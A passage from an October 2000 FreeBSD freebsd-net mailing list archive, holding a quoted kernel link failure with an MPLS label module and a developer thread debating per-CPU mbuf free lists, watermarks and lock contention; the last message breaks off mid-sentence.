> c -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmiss
> ing-prototypes -Wpointer-arith -Winline -Wcast-qual  -fformat-extensions -an
> si  -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include  -D_KERNEL -i
> nclude opt_global.h -elf  -mpreferred-stack-boundary=2  config.c
> cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmis
> sing-prototypes -Wpointer-arith -Winline -Wcast-qual  -fformat-extensions -a
> nsi  -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include  -D_KERNEL -
> include opt_global.h -elf  -mpreferred-stack-boundary=2  setdef1.c
> touch hack.c
> cc -elf -shared -nostdlib hack.c -o hack.So
> rm -f hack.c
> sh /usr/src/sys/conf/newvers.sh MPLS
> cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmis
> sing-prototypes -Wpointer-arith -Winline -Wcast-qual  -fformat-extensions -a
> nsi  -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include  -D_KERNEL -
> include opt_global.h -elf  -mpreferred-stack-boundary=2  vers.c
> linking MPLS
> if_ethersubr.o: In function `ether_demux':
> if_ethersubr.o(.text+0x666): undefined reference to `lt_find_by_label_ptr'
> if_ethersubr.o(.text+0x68c): undefined reference to `lt_find_by_label_ptr'
> if_ethersubr.o(.text+0x6fd): undefined reference to `lt_find_by_label_ptr'
> rtsock.o: In function `route_output':
> rtsock.o(.text+0x8c6): undefined reference to `lt_add_ptr'
> rtsock.o(.text+0x8d6): undefined reference to `lt_add_ptr'
> rtsock.o(.text+0x8e6): undefined reference to `lt_rm_ptr'
> rtsock.o(.text+0x8f6): undefined reference to `lt_rm_ptr'
> rtsock.o(.text+0x909): undefined reference to `PrintLabelTable_ptr'
> rtsock.o(.text+0x912): undefined reference to `PrintLabelTable_ptr'
> *** Error code 1
>
> Stop in /usr/obj/usr/src/sys/MPLS.
> *** Error code 1
>
> Stop in /usr/src.
> *** Error code 1
> ****************************************************************************
> *************************************************
>
>
> Any quick help would be really appreciated.
>
> Syed Kamran Raza
> Nortel Networks
>
>
>
>

------_=_NextPart_001_01C042A2.1F5A2330-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Oct 30 11:30:14 2000 Delivered-To: freebsd-net@freebsd.org Received: from implode.root.com (root.com [209.102.106.178]) by hub.freebsd.org (Postfix) with ESMTP id A229837B4C5; Mon, 30 Oct 2000 11:30:10 -0800 (PST) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.8/8.8.5) with ESMTP id LAA01623; Mon, 30 Oct 2000 11:27:50 -0800 (PST) Message-Id: <200010301927.LAA01623@implode.root.com> To: Bosko Milekic Cc: freebsd-net@FreeBSD.ORG, freebsd-arch@FreeBSD.ORG Subject: Re: MP: per-CPU mbuf allocation lists In-reply-to: Your message of "Mon, 30 Oct 2000 13:20:52 EST." From: David Greenman Reply-To: dg@root.com Date: Mon, 30 Oct 2000 11:27:50 -0800 Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I recently wrote an initial "scratch pad" design for per-CPU mbuf > lists (in the MP case). The design consists simply of introducing > these "fast" lists for each CPU and populating them with mbufs on bootup. > Allocations from these lists would not need to be protected with a mutex > as each CPU has its own. The general mmbfree list remains, and remains > protected with a mutex, in case the per-CPU list is empty. I have only one question - is the lock overhead really so high that this is needed? -DG David Greenman Co-founder, The FreeBSD Project - http://www.freebsd.org President, TeraSolutions, Inc. - http://www.terasolutions.com Pave the road of life with opportunities. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Oct 30 11:45:17 2000 Delivered-To: freebsd-net@freebsd.org Received: from snafu.adept.org (adsl-63-201-63-44.dsl.snfc21.pacbell.net [63.201.63.44]) by hub.freebsd.org (Postfix) with ESMTP id 1EF2A37B479; Mon, 30 Oct 2000 11:45:11 -0800 (PST) Received: by snafu.adept.org (Postfix, from userid 1000) id 29A469EE01; Mon, 30 Oct 2000 11:44:31 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by snafu.adept.org (Postfix) with ESMTP id 243FA9B001; Mon, 30 Oct 2000 11:44:31 -0800 (PST) Date: Mon, 30 Oct 2000 11:44:31 -0800 (PST) From: Mike Hoskins To: Hao Zhang Cc: "'freebsd-net@freebsd.org'" , "'hackers@freebsd.org'" Subject: Re: Building a custom kernel in 4.1 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, Did you follow these steps? http://snad.ncsl.nist.gov/itg/nistswitch/install.html According to 1.1, support for versions of Freebsd > 3.3 is 'in the works'. -mrh On Mon, 30 Oct 2000, Hao Zhang wrote: > > > Hello, > > I am familiar with the procedure of building a custom kernel under > > FreeBSD3.3 but having a lot of difficulty when trying to follow the > > procedure for FreeBSD4.1. Can anyone summarize the exact steps to build a > > custom kernel under FreeBSD4.1(the documentation is a little confusing)? > > > > I am trying to build a custom kernel with a label module (from NIST) and > the > > build fails while trying to link with some of the function pointers of > that > > module. Below are the errors I get: > > > > > **************************************************************************** > > ************************************************* > > > > c -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes > -Wmiss > > ing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions > -an > > si -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include -D_KERNEL > -i > > nclude opt_global.h -elf -mpreferred-stack-boundary=2 config.c > > cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes > -Wmis > > sing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions > -a > > nsi -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include -D_KERNEL > - > > include opt_global.h -elf -mpreferred-stack-boundary=2 setdef1.c > > touch hack.c > > cc -elf -shared -nostdlib hack.c -o hack.So > > rm -f hack.c > > sh /usr/src/sys/conf/newvers.sh MPLS > > cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes > -Wmis > > sing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions > -a > > nsi -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include -D_KERNEL > - > > include opt_global.h -elf -mpreferred-stack-boundary=2 vers.c > > linking MPLS > > if_ethersubr.o: In function `ether_demux': > > if_ethersubr.o(.text+0x666): undefined reference to `lt_find_by_label_ptr' > > if_ethersubr.o(.text+0x68c): undefined reference to `lt_find_by_label_ptr' > > if_ethersubr.o(.text+0x6fd): undefined reference to `lt_find_by_label_ptr' > > rtsock.o: In function `route_output': > > rtsock.o(.text+0x8c6): undefined reference to `lt_add_ptr' > > rtsock.o(.text+0x8d6): undefined reference to `lt_add_ptr' > > rtsock.o(.text+0x8e6): undefined reference to `lt_rm_ptr' > > rtsock.o(.text+0x8f6): undefined reference to `lt_rm_ptr' > > rtsock.o(.text+0x909): undefined reference to `PrintLabelTable_ptr' > > rtsock.o(.text+0x912): undefined reference to `PrintLabelTable_ptr' > > *** Error code 1 > > > > Stop in /usr/obj/usr/src/sys/MPLS. > > *** Error code 1 > > > > Stop in /usr/src. > > *** Error code 1 > > > **************************************************************************** > > ************************************************* > > > > > > Any quick help would be really appreciated. > > > > Syed Kamran Raza > > Nortel Networks > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Oct 30 11:46:40 2000 Delivered-To: freebsd-net@freebsd.org Received: from mailtoaster1.pipeline.ch (mailtoaster1.pipeline.ch [62.48.0.70]) by hub.freebsd.org (Postfix) with SMTP id ADE0A37B479 for ; Mon, 30 Oct 2000 11:46:27 -0800 (PST) Received: (qmail 41038 invoked from network); 30 Oct 2000 19:45:03 -0000 Received: from unknown (HELO telehouse.ch) ([62.48.0.53]) (envelope-sender ) by mailtoaster1.pipeline.ch (qmail-ldap-1.03) with SMTP for ; 30 Oct 2000 19:45:03 -0000 Message-ID: <39FDD039.594CED43@telehouse.ch> Date: Mon, 30 Oct 2000 20:47:05 +0100 From: Andre Oppermann X-Mailer: Mozilla 4.74 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Alfred Perlstein Cc: Bosko Milekic , freebsd-net@FreeBSD.ORG Subject: Re: MP: per-CPU mbuf allocation lists References: <20001030104457.E22110@fw.wintelcom.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I'd like to throw my 2c in here... First of all from a tuners and server administrators perspective this all sounds really complex to me. How am I going to tune these things? What kind of statistics and data bases do I have? etc. That beeing said in my past experience I've leared that sticking to the KISS principle pays off far more than micro- or hyperoptimizing. OK, now to the constructive part of my email... I think the idea of per-CPU mbuf fast lists is very smart but in the howtodo proposal here I see some shortcomings and I have some unclear points. While reading it I got the feeling that this watermark system would work really well for the average lightly loaded case but would fail pretty much for the highly loaded high traffic server case. Let me explain how I got this feeling; Lets assume there is an apache webserver running on the MP machine. Now this apache process tends to stick to one CPU (does it? would make sense for cache locality). This process generates a ton of traffic and needs thousands of mbufs. If I keep the watermark defaults then this is sub-optimal because on CPU1 I need thousands of mbuf whereas CPU2 is not using much. If I tune the watermarks to the required level of CPU1 then I'm wasting an awful lot of mbufs on the other CPU('s)... The proposal; Lets have the minimum watermark set on a system-wide level (sysctl) but the high-watermark would be based per-cpu with an sliding window calculating the average use of mbufs over a certain period of time (eg. 10sec). The initial high watermark would be either min*2 or set upon system initialization to some initial (base) value. This also takes automagically care of process migration between the CPU's. Also this system would be self adjusting and self tuning without admin intervention in common edge cases. Please don't add too much complexity and types and sorts of free lists. Remember what happend to the VM subsystem and how Matt Dillon axed around to remove the complexities for far too special situations and how much that gained us in terms of performance. -- Andre Alfred Perlstein wrote: > > * Bosko Milekic [001030 10:16] wrote: > > > > [cross-posted to freebsd-arch and freebsd-net, please continue > > discussion on freebsd-net] > > > > Hello, > > > > I recently wrote an initial "scratch pad" design for per-CPU mbuf > > lists (in the MP case). The design consists simply of introducing > > these "fast" lists for each CPU and populating them with mbufs on bootup. > > Allocations from these lists would not need to be protected with a mutex > > as each CPU has its own. The general mmbfree list remains, and remains > > protected with a mutex, in case the per-CPU list is empty. > > My initial idea was to leave freeing to the general list, and have a > > kproc "daemon" periodically populate the "fast" lists. This would have of > > course involved the addition of a mutex for each "fast" list as well, in > > order to insure synch with the kproc. However, in the great majority of > > cases when the kproc would be sleeping, the acquiring of the mutex for > > the fast list would be very cheap, as waiting for it would never be an > > issue. > > Yesterday, Alfred pointed me to the HOARD web page and made several > > suggestions... all worthy of my attention. > > The changes I have decided to make to the design will make the system > > work as follows: > > > > - "Fast" list; a per-CPU mbuf list. They contain "w" (for "watermark") > > number of mbufs, typically... more on this below. > > > > - The general (already existing) mmbfree list; mutex protected, global > > list, in case the fast list is empty for the given CPU. > > > > - Allocations; all done from "fast" lists. All are very fast, in the > > general case. If no mbufs are available, the general mmbfree list's > > lock is acquired, and an mbuf is made from there. If no mbuf is > > available, even from the general list, we let go of the lock and > > allocate a page from mb_map and drop the mbufs onto our fast list, from > > which we grab the one we need. If mb_map is starved, then: > > (a) if M_NOWAIT, return ENOBUFS > > (b) go to sleep, if timeout, return ENOBUFS > > (c) not timeout, so got a wakeup, the wakeup was accompanied with the > > acquiring of the mmbfree general list. Since we were sleeping, we are > > insured that there is an mbuf waiting for us on the general mmbfree > > list, so we grab it and drop the lock (see the "freeing" section on > > why we know there's one on mmbfree). > > > > - Freeing; First, if someone is sleeping, we grab the mmbfree global > > list mutex and drop the mbuf there, and then issue a wakeup. If nobody > > is sleeping, then we proceed as follows: > > I like this idea here, you could do that as a general way of noting that > there's a shortage and free to the global pool even if you're below the > low watermark that I discuss below... > > > (a) if our fast list does not have over "w" mbufs, put the mbuf on > > our fast list and then we're done > > (b) since our fast list already has "w" mbufs, acquire the mmbfree > > mutex and drop the mbuf there. > > You want to free in chunks, see below for suggestions. > > > Things to note: > > > > - note that if we're out of mbufs on our fast list, and the general > > mmbfree list has none available either, and mb_map is starved, even > > though there may be free mbufs on other CPU's fast lists, we will > > return ENOBUFS. This behavior will usually be an indication of a > > wrongly chosen watermark ("w") and we will have to consider how to > > inform our users on how to properly select a watermark. I already > > have some ideas for alternate situations/ways of handeling this, but > > will leave this investigation for later. > > > > - "w" is a tunable watermark. No fast list will ever contain more than > > "w" mbufs. This presents a small problem. Consider a situation where > > we initially set w = 500; consider we have two CPUs; consider CPU1's > > fast list eventually gets 450 mbufs, and CPU2's fast list gets 345. > > Consider then that we decide to set w = 200; Even though all > > subsequent freeing will be done to the mmbfree list, unless we > > eventually go under the 200 mark for our free list, we will likely > > end up sitting with > 200 mbufs on each CPU's fast list. The idea I > > presently have is to have a kproc "garbage collect" > w mbufs on the > > CPUs' fast lists and put them back onto the mmbfree general list, if > > it detects that "w" has been lowered. > > > > I'm looking for input. Please feel free to comment with the _specifics_ > > of the system in mind. > > > > Thanks in advance to Alfred who has already generated input. :-) > > Oops, I think I wasn't clear enough, the idea is to have a low AND a high > watermark, let's consider you have hw (high water) at 500 and lw (low water > at 250). The point being that: > > 1) if you are freeing mbufs and hit the highwater mark on your frastlist > you free into the general pool (hw - lw) mbufs from your fastlist > 2) if you are allocating mbufs and have 0 on your fastlist you aquire > (lw) mbufs from the general pool into your fast list. > > this should avoid a ping pong affect and at the same time allow the > last problem you spoke about to be addressed better. > > More tricks that can be done: > > Since you only free from low water to high water you can do this > to avoid a linked list traversal for counting, keep all mbufs below > your low watermark on a seperate fastlist along with a count, when > you free mbufs past your lowwater stick them on a seperate list, > and maintain a count, when the count on that list becomes greater > than hw-lw then you can just dump it into the global list with just > a pointer swap and a bumping the count in the global freelist. > > You can also keep the mbufs in the global list in a special way > so that you can do chunk allocations from it by simply using > the m_nextpkt flag on the mbuf to point to the next "chunk" of > mbufs that are hung off of m_next, you can hijack a byte out > of the m_data to keep the count. > > -- > -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] > "I have the heart of a child; I keep it in a jar on my desk." > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-net" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Oct 30 11:52:16 2000 Delivered-To: freebsd-net@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 1D98337B479 for ; Mon, 30 Oct 2000 11:52:13 -0800 (PST) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e9UJqAe23880; Mon, 30 Oct 2000 11:52:10 -0800 (PST) Date: Mon, 30 Oct 2000 11:52:09 -0800 From: Alfred Perlstein To: David Greenman Cc: Bosko Milekic , freebsd-net@FreeBSD.ORG Subject: Re: MP: per-CPU mbuf allocation lists Message-ID: <20001030115209.G22110@fw.wintelcom.net> References: <200010301927.LAA01623@implode.root.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <200010301927.LAA01623@implode.root.com>; from dg@root.com on Mon, Oct 30, 2000 at 11:27:50AM -0800 Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org * David Greenman [001030 11:30] wrote: > > I recently wrote an initial "scratch pad" design for per-CPU mbuf > > lists (in the MP case). The design consists simply of introducing > > these "fast" lists for each CPU and populating them with mbufs on bootup. > > Allocations from these lists would not need to be protected with a mutex > > as each CPU has its own. The general mmbfree list remains, and remains > > protected with a mutex, in case the per-CPU list is empty. > > I have only one question - is the lock overhead really so high that this > is needed? Yes, see www.horde.org. The intent is that for the most part these allocations only hit the local lock and the only time one has contention is during a producer+consumer situation where the producer and consumer are on different CPUs. Also... Bosko, you should realize the important 'twist' that horde does, which is that it's able to detect which freelist a buffer should go back onto, meaning a buffer allocated on CPU-1 but winds up being free'd is free'd back to CPU-1's freelist. Dillon (cache miester that he is) explained it to me (and several books on SMP agree): Basically when you have a procducer/consumer, the producer is writing to the memory while the consumer is only reading. Now if the consumer free's to his own list rather than the producers list, what happens is that when the consumer does his next allocation he most likely is going to write to a page that has it's writablility "owned" by the producer, this generates bus traffic to inform the producer that he can no longer write/read cache the memory. By freeing to the producer's pool you avoid invalidating the producer's cache. There is a gotcha here though that would need some thourough investigation, thinking about how mbufs work, a lot of the time the mbuf headers are accessed right before they are free'd to either trim or remove them from linked lists, so perhaps the free'ing to the CPU that the mbuf was allocated from should only happen for mbuf clusters, not mbuf headers. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] "I have the heart of a child; I keep it in a jar on my desk." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Oct 30 14:14:32 2000 Delivered-To: freebsd-net@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 5317137B479; Mon, 30 Oct 2000 14:14:28 -0800 (PST) Received: from beppo (beppo [192.67.166.79]) by feral.com (8.9.3/8.9.3) with ESMTP id OAA03349; Mon, 30 Oct 2000 14:14:03 -0800 Date: Mon, 30 Oct 2000 14:14:03 -0800 (PST) From: Matthew Jacob Reply-To: mjacob@feral.com To: David Greenman Cc: Bosko Milekic , freebsd-net@FreeBSD.ORG, freebsd-arch@FreeBSD.ORG Subject: Re: MP: per-CPU mbuf allocation lists In-Reply-To: <200010301927.LAA01623@implode.root.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 30 Oct 2000, David Greenman wrote: > > I recently wrote an initial "scratch pad" design for per-CPU mbuf > > lists (in the MP case). The design consists simply of introducing > > these "fast" lists for each CPU and populating them with mbufs on bootup. > > Allocations from these lists would not need to be protected with a mutex > > as each CPU has its own. The general mmbfree list remains, and remains > > protected with a mutex, in case the per-CPU list is empty. > > I have only one question - is the lock overhead really so high that this > is needed? If you know that you can also pre-busdma wrap these lists (which is required for full alpha support, and may(?) be for ia64), yes, this makes sense to me (at least). I had a friend at Sun not speak to me for years because I didn't do this for the Solaris DKI/DDI. -matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Oct 30 14:36:32 2000 Delivered-To: freebsd-net@freebsd.org Received: from mass.osd.bsdi.com (adsl-63-202-178-14.dsl.snfc21.pacbell.net [63.202.178.14]) by hub.freebsd.org (Postfix) with ESMTP id 1CBEE37B479 for ; Mon, 30 Oct 2000 14:36:24 -0800 (PST) Received: from mass.osd.bsdi.com (localhost [127.0.0.1]) by mass.osd.bsdi.com (8.11.0/8.11.1) with ESMTP id e9UMeWF18172; Mon, 30 Oct 2000 14:40:33 -0800 (PST) (envelope-from msmith@mass.osd.bsdi.com) Message-Id: <200010302240.e9UMeWF18172@mass.osd.bsdi.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: Bosko Milekic Cc: freebsd-net@freebsd.org Subject: Re: MP: per-CPU mbuf allocation lists In-reply-to: Your message of "Mon, 30 Oct 2000 13:20:52 EST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 30 Oct 2000 14:40:32 -0800 From: Mike Smith Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I recently wrote an initial "scratch pad" design for per-CPU mbuf > lists (in the MP case). The design consists simply of introducing > these "fast" lists for each CPU and populating them with mbufs on bootup. > Allocations from these lists would not need to be protected with a mutex > as each CPU has its own. The general mmbfree list remains, and remains > protected with a mutex, in case the per-CPU list is empty. Have you by any chance done any profiling to determine whether contention for the free mbuf list is actually a performance issue, or is this just one of those "hey, this would be cool" design decisions? > - "Fast" list; a per-CPU mbuf list. They contain "w" (for "watermark") > number of mbufs, typically... more on this below. > > - The general (already existing) mmbfree list; mutex protected, global > list, in case the fast list is empty for the given CPU. > > - Allocations; all done from "fast" lists. All are very fast, in the > general case. If no mbufs are available, the general mmbfree list's > lock is acquired, and an mbuf is made from there. Do you handle the case where an interrupt handler running on the same CPU is run while you are manipulating the "fast" list, ie. do you still lock the "fast" list? > If no mbuf is > available, even from the general list, we let go of the lock and > allocate a page from mb_map and drop the mbufs onto our fast list, from > which we grab the one we need. Starvation of the general list should result in the general list being populated, not the fast list. In this case, the general list will remain depleted until mbufs are freed, which will blow mb_map out faster than is otherwise desirable. > - Freeing; First, if someone is sleeping, we grab the mmbfree global > list mutex and drop the mbuf there, and then issue a wakeup. If nobody > is sleeping, then we proceed as follows: > (a) if our fast list does not have over "w" mbufs, put the mbuf on > our fast list and then we're done > (b) since our fast list already has "w" mbufs, acquire the mmbfree > mutex and drop the mbuf there. This is a half-hearted "donation" algorithm. It might make sense to waste some cycles in the "sleeping" case to lock other cpu's "fast" lists and steal mbufs from them... > Things to note: > > - note that if we're out of mbufs on our fast list, and the general > mmbfree list has none available either, and mb_map is starved, even > though there may be free mbufs on other CPU's fast lists, we will > return ENOBUFS. This behavior will usually be an indication of a > wrongly chosen watermark ("w") and we will have to consider how to > inform our users on how to properly select a watermark. I already > have some ideas for alternate situations/ways of handeling this, but > will leave this investigation for later. See previous comment. > - "w" is a tunable watermark. No fast list will ever contain more than > "w" mbufs. This presents a small problem. Consider a situation where > we initially set w = 500; consider we have two CPUs; consider CPU1's > fast list eventually gets 450 mbufs, and CPU2's fast list gets 345. > Consider then that we decide to set w = 200; Even though all > subsequent freeing will be done to the mmbfree list, unless we > eventually go under the 200 mark for our free list, we will likely > end up sitting with > 200 mbufs on each CPU's fast list. The idea I > presently have is to have a kproc "garbage collect" > w mbufs on the > CPUs' fast lists and put them back onto the mmbfree general list, if > it detects that "w" has been lowered. The watermark-lowering operation is likely to be very infrequent. As such, it would hardly hurt for it to scan each of the "fast" lists and steal excess mbufs back into the global pool. -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Oct 30 16:14:53 2000 Delivered-To: freebsd-net@freebsd.org Received: from field.videotron.net (field.videotron.net [205.151.222.108]) by hub.freebsd.org (Postfix) with ESMTP id 3246C37B479 for ; Mon, 30 Oct 2000 16:14:48 -0800 (PST) Received: from modemcable213.3-201-24.mtl.mc.videotron.ca ([24.201.3.213]) by field.videotron.net (Sun Internet Mail Server sims.3.5.1999.12.14.10.29.p8) with ESMTP id <0G390027VQ0MEK@field.videotron.net> for freebsd-net@FreeBSD.ORG; Mon, 30 Oct 2000 19:14:46 -0500 (EST) Date: Mon, 30 Oct 2000 19:19:19 -0500 (EST) From: Bosko Milekic Subject: Re: MP: per-CPU mbuf allocation lists In-reply-to: <200010302240.e9UMeWF18172@mass.osd.bsdi.com> X-Sender: bmilekic@jehovah.technokratis.com To: Mike Smith Cc: freebsd-net@FreeBSD.ORG Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I'm going to attempt to respond to all, if not most, of the feedback I've received on this in this Email, because Mike's Email seems to touch on a little bit of everything. On Mon, 30 Oct 2000, Mike Smith wrote: > Have you by any chance done any profiling to determine whether contention > for the free mbuf list is actually a performance issue, or is this just > one of those "hey, this would be cool" design decisions? First of all, if you're referring to the concept of having per-CPU lists, it follows from (and is justified by): http://www.hoard.org/ Of course, we're not looking at that sort of general allocator, but the concept is very similar, and the performance gain is similarily justified. However, in order to really be able to see a performance gain, several other things need to be "threaded." I certainly wouldn't waste the little free time I already have in doing something like this just because I thought it was "cool," or rather, if I did, I'm sure that I wouldn't be so selfish as to propose it to everyone and waste their time (including yours) as well. I hope this clears up most of the "what's the performance gain?" or "why would you do this?" issues. If not, I respectfully urge people to respond to me privately on this and I'll do my best to answer. [...] > Starvation of the general list should result in the general list being > populated, not the fast list. In this case, the general list will remain > depleted until mbufs are freed, which will blow mb_map out faster than is > otherwise desirable. You're right. I've changed this in the revised design, presented below... > This is a half-hearted "donation" algorithm. It might make sense to > waste some cycles in the "sleeping" case to lock other cpu's "fast" lists > and steal mbufs from them... "Stealing" has been considered, but unfortunately, it introduces some hysterics into the system which I doubt certain people would go for. The idea will be to prevent the need for that situation, while optimizing allocation speed. The revised plan below attempts to insure that high and low watermarks are followed and, if set properly, there will not be any problems unless something else is wrong to begin with. > The watermark-lowering operation is likely to be very infrequent. As > such, it would hardly hurt for it to scan each of the "fast" lists and > steal excess mbufs back into the global pool. I agree, which is why I had initially proposed that it be done from a kproc... but the low/high watermark system eliminates the need for repopulating the general list from a kproc... see below. Here is the revised plan: - free lists; each CPU has a set of two lists, and that set is called a "fast" list. Not much changed except that there are two; the first will be referred to as "F1" and the second, "F2." - the general mmbfree list; nothing changed here. - Allocations; here's how they would work, more or less: 1: set mb_ptr = F2->head; if (mb_ptr == NULL) { set mb_ptr = F1->head; if (mb_ptr is still == NULL) { 2: try global mmbfree list, if nothing, then go ahead and try to allocate from mb_map, place on the mmbfree list and try again and, if still nothing, then either: (a) wait, if M_WAIT; waiting would work as previously mentionned, if there are people waiting, then the free will happen to mmbfree and the first waiting thread will be awoken, and if that thread at that point still finds nothing on its CPU lists, then it will try mmbfree once again. (b) ENOBUFS otherwise, or if wait fails. 3: } else the allocation is completed from F2; } else the allocation is completed from F1; now, it's simple: if (mb_ptr != NULL) { Setup the mbuf; } Notice that everything from 2 to 3 above is what already happens and that there is little hysteria introduced, when considering that the majority of allocations will be done directly from either F1 or F2. - Freeing; freeing is almost done as I previously suggested, with a little bit of a modification, in order to insure that mmbfree gets repopulated. Here it is, more or less: if (someone sleeping) drop mbuf in mmbfree global list and issue wakeup; else if (((number in F1) + 1) > (low watermark)) { put mbuf in F2; increment mbuf count in F2; if ((mbuf count in F2) > (high_wm - low_wm)) { put all of F2 into mmbfree, now F2 is clear; } } else put mbuf in F1; What this system does is combine everything from the initial design with Mike's pointer above (i.e. when allocating from mb_map, allocate to mmbfree) and one of Alfred's two suggestions, which I'll quote and explain why here: (1) if you are freeing mbufs and hit the high watermark on your fast list, you free into the general pool (hw - lw) mbufs from your fast list. Alfred's added suggestion: Seperate fast list into a set of two, one to keep up to (lw) mbufs, and the other to keep the difference, so that when it comes time to transfer to mmbfree, it will be much faster. The new design (above) takes this into account. (2) If you are allocating mbufs and have 0 on your fastlist you aquire (lw) mbufs from the general pool into your fast list. Alfred's added suggestion: Keep mbufs in mmbfree classed as "chunks" (i.e. of (lw) number of mbufs, for example). The new design drops this idea completely. First of all, let's say that we do consider (2), then we would have to go through a costly count of the mbufs in the mmbfree list every time we're doing the transfer. The suggestion above says that we should keep the mbufs in chunks, to make the transfer less costly, but it's flawed, because in that case, there are two possibilities: (1) all "chunks" have same size, (lw); this is unreasonable because (lw) is tunable and can change. (2) "chunks" have various sizes depending on when (lw) changes, one should be combining smaller chunks into larger ones (and vice versa?) in those cases; this is unreasonable because it will add too much overhead into some of those allocations. I'd rather deal with not having (2) at all and keep the speed than deal with this case. Of course, this isn't set in stone, and I'd like to know from those who will argue, if any, that (2) should still be implemented, why it is necessary. (1) alone will eliminate ping-pong effects. Regards, Bosko Milekic bmilekic@technokratis.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Mon Oct 30 16:39:53 2000 Delivered-To: freebsd-net@freebsd.org Received: from smtp05.primenet.com (smtp05.primenet.com [206.165.6.135]) by hub.freebsd.org (Postfix) with ESMTP id 7444B37B4C5; Mon, 30 Oct 2000 16:39:44 -0800 (PST) Received: (from daemon@localhost) by smtp05.primenet.com (8.9.3/8.9.3) id RAA00073; Mon, 30 Oct 2000 17:40:11 -0700 (MST) Received: from usr05.primenet.com(206.165.6.205) via SMTP by smtp05.primenet.com, id smtpdAAAE4aWfa; Mon Oct 30 17:40:04 2000 Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id RAA29844; Mon, 30 Oct 2000 17:39:26 -0700 (MST) From: Terry Lambert Message-Id: <200010310039.RAA29844@usr05.primenet.com> Subject: Re: MP: per-CPU mbuf allocation lists To: mjacob@feral.com Date: Tue, 31 Oct 2000 00:39:26 +0000 (GMT) Cc: dg@root.com (David Greenman), bmilekic@dsuper.net (Bosko Milekic), freebsd-net@FreeBSD.ORG, freebsd-arch@FreeBSD.ORG In-Reply-To: from "Matthew Jacob" at Oct 30, 2000 02:14:03 PM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > I recently wrote an initial "scratch pad" design for per-CPU mbuf > > > lists (in the MP case). The design consists simply of introducing > > > these "fast" lists for each CPU and populating them with mbufs on bootup. > > > Allocations from these lists would not need to be protected with a mutex > > > as each CPU has its own. The general mmbfree list remains, and remains > > > protected with a mutex, in case the per-CPU list is empty. > > > > I have only one question - is the lock overhead really so high that this > > is needed? > > If you know that you can also pre-busdma wrap these lists (which is required > for full alpha support, and may(?) be for ia64), yes, this makes sense to me > (at least). I had a friend at Sun not speak to me for 